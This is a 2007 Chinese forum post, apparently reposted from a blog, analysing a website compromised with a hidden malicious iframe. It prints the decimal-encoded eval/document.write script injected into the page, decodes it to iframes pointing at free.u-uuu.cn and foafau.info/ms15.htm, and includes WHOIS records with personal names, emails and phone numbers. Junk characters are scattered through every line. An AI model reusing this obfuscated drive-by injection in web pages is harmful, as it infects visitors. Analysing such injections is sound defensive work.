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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ,"@w>WL<9  
a;56k  
http://www.areway.cn/?p=175 |2qR^Hd&5  
@ L\-ZWq  
~@%(RMJm&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:  C}Rs[  
          z8g=;><  
<script>t=’60,105,102,114,97,109,101, btUq  
32,115,114,99,61,104,116,116,112,58,47,47, ;rNd701p"  
102,114,101,101,46,117,45,117,117,117,46,99, ` !zQ  
110,47,101,114,114,111,114,46,104,116,109, "w;08TX8  
32,119,105,100,116,104,61,49,48,48,32,104, M_tj7Q3 W  
101,105,103,104,116,61,48,62,60,47,105,102, zXQVUhL6  
114,97,109,101,62′; 3|q2rA  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> /r>IV`n{  
                                                                                                  e-~hS6p(  
<script>t=’60,105,102,114,97,109,101,32,115, =ZG<BG_  
114,99,61,104,116,116,112,58,47,47,102,114, t G]N*%@  
101,101,46,117,45,117,117,117,46,99,110,47, d0'7efC+  
101,114,114,111,114,46,104,116,109,32,119, HpW" lYW4  
105,100,116,104,61,49,48,48,32,104,101,105, ]9fS@SHdx  
103,104,116,61,48,62,60,47,105,102,114,97, F\;2 i:(  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); k& OC&  
document.write(t);</script> Z/xV\Ggx  
                                                                                                  +z+ F-  
<html xmlns=” (gLea  
http://www.w3.org/1999/xhtml sjSi;S4  
“> &8Zeq3~  
<head> M#ZT2~+CT  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> "Lb f F  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 1d`cTaQ-  
<title>首页 - 爱生活家庭网 &xgZF Sq  
                                                                                                                                                    5xhM0 (  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 [C~fBf5  
转换字符串后的大概内容是(谁点击后果自付): FU[*8^Z  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… a-fv[oB  
                                                                                                                                  vxb@9 eb!H  
查询玉米u-uuu.cn的详细信息: -48`#"xy  
Domain Name: u-uuu.cn ya#RII']  
ROID: 20070901s10001s64972306-cn iA]DE`S  
Domain Status: ok n4Vwao/9x  
Registrant Organization: 王雷 ^Fn%K].X  
Registrant Name: 王雷 Bu&So|@TL  
Administrative Email: czlovexs@126.com [U swf3  
Sponsoring Registrar: 北京万网志成科技有限公司 S[Vtq^lU  
Name Server:ns.yovole.com d60c$?"]a(  
Name Server:ns1.yovole.com Qr<AV:  
Registration Date: 2007-09-01 17:54 ^,Lt Ewd~Y  
Expiration Date: 2008-09-01 17:54 X) 8e4~(?  
最后PING了一下地址 都没有什么…. |ribWCv0  
                                                                                                L,#^&9bHa#  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. en%J!<&W{K  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ># INEO  
<script language=”javascript” src=” 2bkJ /u`i  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ;r3}g"D@  
> tp@*=*^I  
这个玉米应该有可能是木马作者的: lbd(j{h>4  
foafau.info的详细信息: F9%,MSt  
Access to INFO WHOIS information is provided to assist persons in : g 5(HH  
determining the contents of a domain name registration record in the UnP|]]o:I  
Afilias registry database. The data in this record is provided by uN8/Q2   
Afilias Limited for informational purposes only, and Afilias does not { E^U6@  
guarantee its accuracy.  This service is intended only for query-based rjXnDh]MC  
access. You agree that you will use this data only for lawful purposes *u}'}jC1X  
and that, under no circumstances will you use this data to: (a) allow, 3\1#eK'TK.  
enable, or otherwise support the transmission by e-mail, telephone, or MBlBMUJk  
facsimile of mass unsolicited, commercial advertising or solicitations 2R\+}  
to entities other than the data recipient’s own existing customers; or 7"#f!.E  
(b) enable high volume, automated, electronic processes that send d)\2U{  
queries or data to the systems of Registry Operator, a Registrar, or |88CBiu}  
Afilias except as reasonably necessary to register domain names or W-1sU g[AN  
modify existing registrations. All rights reserved. Afilias reserves ubi~%  
the right to modify these terms at any time. By submitting this query, ;ed#+$Na  
you agree to abide by this policy. w;~>k%}j  
Domain ID:D22418703-LRMS J||E;=%f-Q  
Domain Name:FOAFAU.INFO oooS s&t  
Created On:20-Nov-2007 16:05:42 UTC },&h[\N{6  
Last Updated On:20-Nov-2007 16:05:44 UTC 9976H\{  
Expiration Date:20-Nov-2008 16:05:42 UTC .8K6C]gw  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ~JLYhA^'+<  
Status:CLIENT DELETE PROHIBITED Z/gsCYS3F  
Status:CLIENT RENEW PROHIBITED RB IOdz  
Status:CLIENT TRANSFER PROHIBITED lirNYJ]tO  
Status:CLIENT UPDATE PROHIBITED !W~QT}  
Status:TRANSFER PROHIBITED ,[Ag~.T  
Registrant ID:GODA-040110615 1& |  
Registrant Name:liu hong EsTB(9c?  
Registrant Organization: mzz$`M 1  
Registrant Street1:beijing f9a$$nb3`  
Registrant Street2: >otJF3zw   
Registrant Street3: 7LfcF  
Registrant City:beijing iKhH^V%j  
Registrant State/Province: fCg@FHS&^  
Registrant Postal Code:100000 V3Yd&HVWNQ  
Registrant Country:CN St+ "ih%  
Registrant Phone:+86.860108888777 :G#KB'  
Registrant Phone Ext.: ?,>5[Ha^?  
Registrant FAX: 8TW5(fl  
Registrant FAX Ext.: "oe!M'aj`1  
Registrant Email:bbbshiji@163.com GB =bG%Tb  
Admin ID:GODA-240110615 bJwc1AJgH  
Admin Name:liu hong `0rRKlbj4  
Admin Organization: hXc}r6<B  
Admin Street1:beijing AX;c}0g  
Admin Street2: e?P%wqB  
Admin Street3: }3J=DCtS  
Admin City:beijing C B/r]+4  
Admin State/Province: -x{&an=  
Admin Postal Code:100000 dZDK7UL  
Admin Country:CN b)`pZiQP  
Admin Phone:+86.860108888777 >Mw'eQ0(y  
Admin Phone Ext.: ws[/  
Admin FAX: 7E\g &R.  
Admin FAX Ext.: T)~!mifX  
Admin Email:bbbshiji@163.com \2>3Opt  
Billing ID:GODA-340110615 #|?8~c;RWG  
Billing Name:liu hong ('JKN"3  
Billing Organization: xp^ 7#`MJ?  
Billing Street1:beijing o,*=$/or  
Billing Street2: x6v,lR  
Billing Street3: m8+:=0|$  
Billing City:beijing 8SZK:VE@  
Billing State/Province: `;cz;"  
Billing Postal Code:100000 :3O5ET'1  
Billing Country:CN eF5;[v  
Billing Phone:+86.860108888777 ^BiP LQ  
Billing Phone Ext.: GyK(Vb"h6  
Billing FAX: q/x/N5HU  
Billing FAX Ext.: 8#l+{`$z  
Billing Email:bbbshiji@163.com /?P!.!W&  
Tech ID:GODA-140110615 @vt$MiOi  
Tech Name:liu hong ~j"3}wXc5  
Tech Organization: ,56;4)cv  
Tech Street1:beijing WqQU@sA  
Tech Street2: l `R KqT+  
Tech Street3: /NU103F yt  
Tech City:beijing ke]Yfwk  
Tech State/Province: V&iS~V0.  
Tech Postal Code:100000 wDKELQ(y H  
Tech Country:CN {OP~8e"  
Tech Phone:+86.860108888777 'yr{^Pek  
Tech Phone Ext.: 1qZG`Vz  
Tech FAX: NO4Z"3Pd_  
Tech FAX Ext.: O:YJ%;w  
Tech Email:bbbshiji@163.com !}t-j3bCs  
Name Server:NS27.DOMAINCONTROL.COM V%51k{  
Name Server:NS28.DOMAINCONTROL.COM ISBF\ wQY  
Name Server: (:7a&2/M  
Name Server: *HeVACxo  
Name Server: S3y246|4  
Name Server: T?rH ,$:  
Name Server: > c:Zx!  
Name Server: F>-}*o  
Name Server: m#n]Wgp'  
Name Server: *|KVN&#  
Name Server: x<>YUw8`  
Name Server: M4:s;@qZ.  
Name Server: l!@ 1u^v2  
                                                                                                           :,~K]G  
接着下载每个文件里面的代码: E}YI WTX  
一步一步看.. (f>M &..  
n[CoS  
M*`hDdS  
y/tSGkMv  
$r15gfne>  
F0.zi>5  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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